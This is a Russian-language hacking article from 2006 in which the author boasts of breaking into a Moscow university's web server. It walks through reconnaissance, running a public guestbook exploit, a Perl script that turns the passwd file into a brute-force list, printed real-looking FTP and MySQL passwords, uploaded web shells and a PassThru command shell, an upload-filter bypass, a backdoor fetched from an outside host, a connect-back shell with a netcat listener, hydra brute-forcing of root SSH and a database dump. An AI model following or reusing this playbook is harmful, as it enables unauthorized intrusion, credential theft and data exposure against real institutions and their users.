Подписка
Е-Mail:
Подписаться
Отказаться





 
Хакинг          [ Безопасность ]


Версия для печати
Автор: Infringer
Отправить статью по e-mail Дата: 01.04.2006 ©
Взлом московского ВУЗа

Однажды для взлома я выбрал сервер одного известного московского ВУЗа. Мне уже надоели взломы сайтов с известными багами. Тем более, что дефейсы сайтов - это дело только для скрипткидзов. Вот поэтому я решил выбрать для своего взлома конкретную цель. Зайдя на www.yandex.ru я вбил в поиск название ВУЗа и сразу получил ссылку на сайт. О том какой ВУЗ я стал ломать умолчу, т. к. все уязвимости действуют на нем и по сей день. Поэтому назовем его сервер targethost/. Сначала я решил просканировать сервак nmap`ом с со свего рутового шелла. На нем были доступны следующие порты с сервисами:

21 - FTP server (Version 6.00LS)
22 - SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
80 - Apache/2.0.49 (Unix) DAV/2 PHP/4.3.7

Все версии сервисов были стабильными, найти на них эскплоит мне не удалось. Благодаря сайту www.domainsdb.net узнал, не хостится здесь что-нибудь еще. К сожалению нет.

Затем я зашел на сайт начал лазить по ссылкам, чтобы найти файлы с расширением php, cgi, pl. А также проверить наличие форумов и гостевых книг. И тут мне ждал первый облом - ничего из выше перечисленного на сайте не оказалось. Cgi-сканер тоже не дал ничего хорошего. Единственная зацепка была в том, что на сервере размещались личные странички студентов, преподавателей и т. д. Именно в них была надежда найти бажный скрипт. Правда я не знал разрешалось ли использовать скрипты. Странички были вида targethost/~page и page.targethost. Искать скрипты я стал через www.google.com. Вбив в строке для поиска inurl:php site:targethost я получил несколько десятков ссылок. Изменение запроса на inurl:cgi или inurl:pl никаких ссылок не выдало. Страничек с php скриптами было не так уж много. После длительного поиска не было найдено практически ни одного бага. Правда я нашел файл phpinfo из которого узнал, что на серваке стоит Freebsd 4.6. Также я нашел файл news_podrobnee.php, который я привел к виду targethost/news_podrobnee.php?newsid='. Т. е. подставив в качестве параметра ординарную кавычку я увидел следующее:

You have an error in your SQL syntax near ''' at line 1

Вроде как sql-inj, но union запрос у меня не получился. И я забил на нее.

Прошел день. Но сдаваться я не думал, что-то мне подсказывало, что какой-нибудь баг обязательно найду. Снова дело за google. На этот раз вбил такой запрос: site:*.targethost, чтобы найти странички вида page.targethost. Я решил их проверить на наличие форумов. На одной из страниц нашел phpBB, но меня привлекла страница rt.targethost (rt - имя пользователя). На ней я нашел гостевую книгу Admbook. Она располагалась по адресу rt.targethost/gb/. В этой гостевой книге была недавно обнаружена критическая уязвимость. Об уязвимости можно прочитать здесь: www.xakep.ru/post/30235/default.asp. К уязвимости прилагается эксплоит. Я скопировал его в блокнот, сохранил с расширением pl и забросил на свой шелл. Запускаем эксплоит с шелла:

perl admbook.pl rt.targethost /gb/ ls

Сработало! Команда выдала список файлов в дире. Мои права были nobody, команда uname -a подтвердила, что на серваке стоит фряха 4.6. Мне также удалось прочитать httpd.conf. Работать эксплоит с шелла было очень не удобно, поэтому мне надо было как-нибудь раздобыть пароль к ftp. Со своими правами я мог просматривать директории юзеров, решил выдрать все логины из файла passwd. Для этого использовал следующий скрипт:

#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ##
Определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN,"$in");
open(OUT,"> $out");
while(<IN> ) {
chomp;
if (~/sh$/) { ##
Запишем только валидные аккаунты
($u,@undef)=split ":";
print OUT "$u:$u\n"; ##
В виде пары login:login
}
}
close(IN);
close(OUT);

Далее запускаю с шелла perl combo.pl pass.txt pas.txt. В файле pas.txt лежал готовый комбо-лист. Осталось скормить его проге brutus и натравить на ftp. Но ни один пароль не подошел. Впереди предстояла нелегкая работа - просмотр директории каждого юзера. Как я уже говорил, большинство юзеров использовали на страницах голый html. И тут обнаружилась директория php юзера physmath, где лежал конфиг. Прочитав конфиг я наткнулся на строки:

$cfg['Servers'][$i]['user'] = 'physmath';
$cfg['Servers'][$i]['password'] = '263vpost';

И решил попробовать пароль к ftp. Пароль подошел. Кстати, пароль также подошел к SSH. Потом коннект к фтп, заливка remview.php, r57shell.php и файла test.php следующего содержания:

<pre>
<?
PassThru($command,$result);
print($result);
?>
</pre>

Теперь я стал путешествовать по внутренностям сервера с комфортом. Я внимательно стал осматривать файлы директории /usr/local/www . Просмотрев исходник файла common.php я нашел пароль к mysql:

$DB_USER="root";
$DB_PASSWORD="icnmysql";

К сожалению этот пасс не подошел к SSH... Также на серваке не был открыт 3306 порт, пришлось работать с mysql через SSH, используя команды mysql.

Также в этой директории была папка userman, в которой был файл users, содержащий 5 паролей, зашифрованных DES, папка userman была запаролена для обращения извне по адресу targethost/userman. Следовательно, нужно было расшифровать хотя бы один из хешей. Я скормил все хеши джонику и выбрал самый большой словарь из английских слов. Один из паролей был успешно расшифрован. Войдя под этим паролем по этому адресу я увидел около 100 страничек преподавателей, студентов, кафедр. Причем каждую я мог спокойно удалять или добавлять новые. Кроме того в данных лежали пароли к каждой странице в открытом виде! Кроме того была запаролена директория по адресу targethost/admin/admin.php. Пароль к ней брался из базы данных. Я приконнектился к SSH под аккаунтом одного из юзеров, ввел команду mysql -u root -p base, где base - название нужной мне базы. Далее выполнил SQL-команду:

SELECT * FROM AdminUsers;

и извлек из таблицы нужные мне логины и пароли к директории. Пассы также были хешированы DES`ом. Их было всего 3. Джоник не смог расшифровать их по словарю. Тогда я поставил перебор по цифрам - один из паролей был подобран.

Так образом я получил доступ к странице администрирования. В админке было: добавление и удаление новостей, удаление и добавление разделов сайта, добавление нового пользователя. Я сразу подумал о возможности загрузки php-скрипта. Возможно, загрузив и выполнив этот скрипт в другой директории я бы получил уже далеко не nobody... Я пошел в раздел Add/Edit templates. И добавил новый темплейт. Путь к нему был /usr/local/www/pics/tmpl1. Была возможность загружать файлы. Попытался сразу загрузить test.php (содержание см. выше), но облом - загружать файлы именно с расширением php нельзя. Я обозвал файл test.cgi и снова закачал на сервер. Файл успешно закачался. Теперь оставалось только переименовать его в test.php. Я залогинился по SSH под простым пользователем. Попытался переименовать его, но - снова облом. Тогда решил сделать это с правами nobody - файл успешно переименовался. Вызываю его из броузера: targethost/pics/tmpl1/test.php?command=id и получаю те же права nobody. Прав на запись и удаление в директории /usr/local/www снова не хватает.

Несмотря на то, что на сервере стояла фряха, я все-таки решил попробовать под нее все известные мне локальные эксплоиты, которые я нашел на packetstormsecurity.nl/ и других сайтах. Первым делом я решил забросить в /tmp бэкдор. На сервере отсутствовал wget, но был fetch. Вот как использовать fetch:
 
fetch -o /tmp/shell.pl -p www.xakep.ru/post/18812/exploit.txt

Запустив бэкдор и приконнектившись к нему я снова получил фигу с маслом. Тогда пришлось воспользоваться коннект-бэкдором. Взять его можно отсюда:  1nf3ct0r.nm.ru/hack/bdw.c. Далее компилю: gcc -o bdw bdw.c  и запускаю: ./bdw my_ip, предварительно запустив на своей тачке netcat: nc -l -p 4000.

Дальше в ход пошли локальные эксплоиты, но не один не сработал. Потом я перешел к самому (как мне кажется( малоэффективному способу взлома - брутусу. Залил на сервак hydry, успешно установил и запустил с параметрами:

./hydra -l root -P words.txt -t 150 127.0.0.1 ssh2.

И снова облом - чтобы подобрать пасс к SSH необходимо установить специальную библиотеку libSSH. Установить ее мне не удалось. На этом я оставил сервер в покое. Получить рута мне так и не удалось, но зато у меня появились хорошие шеллы и дамп базы данных.





 
Найти: 





Новинки

Голосование


Яндекс цитирования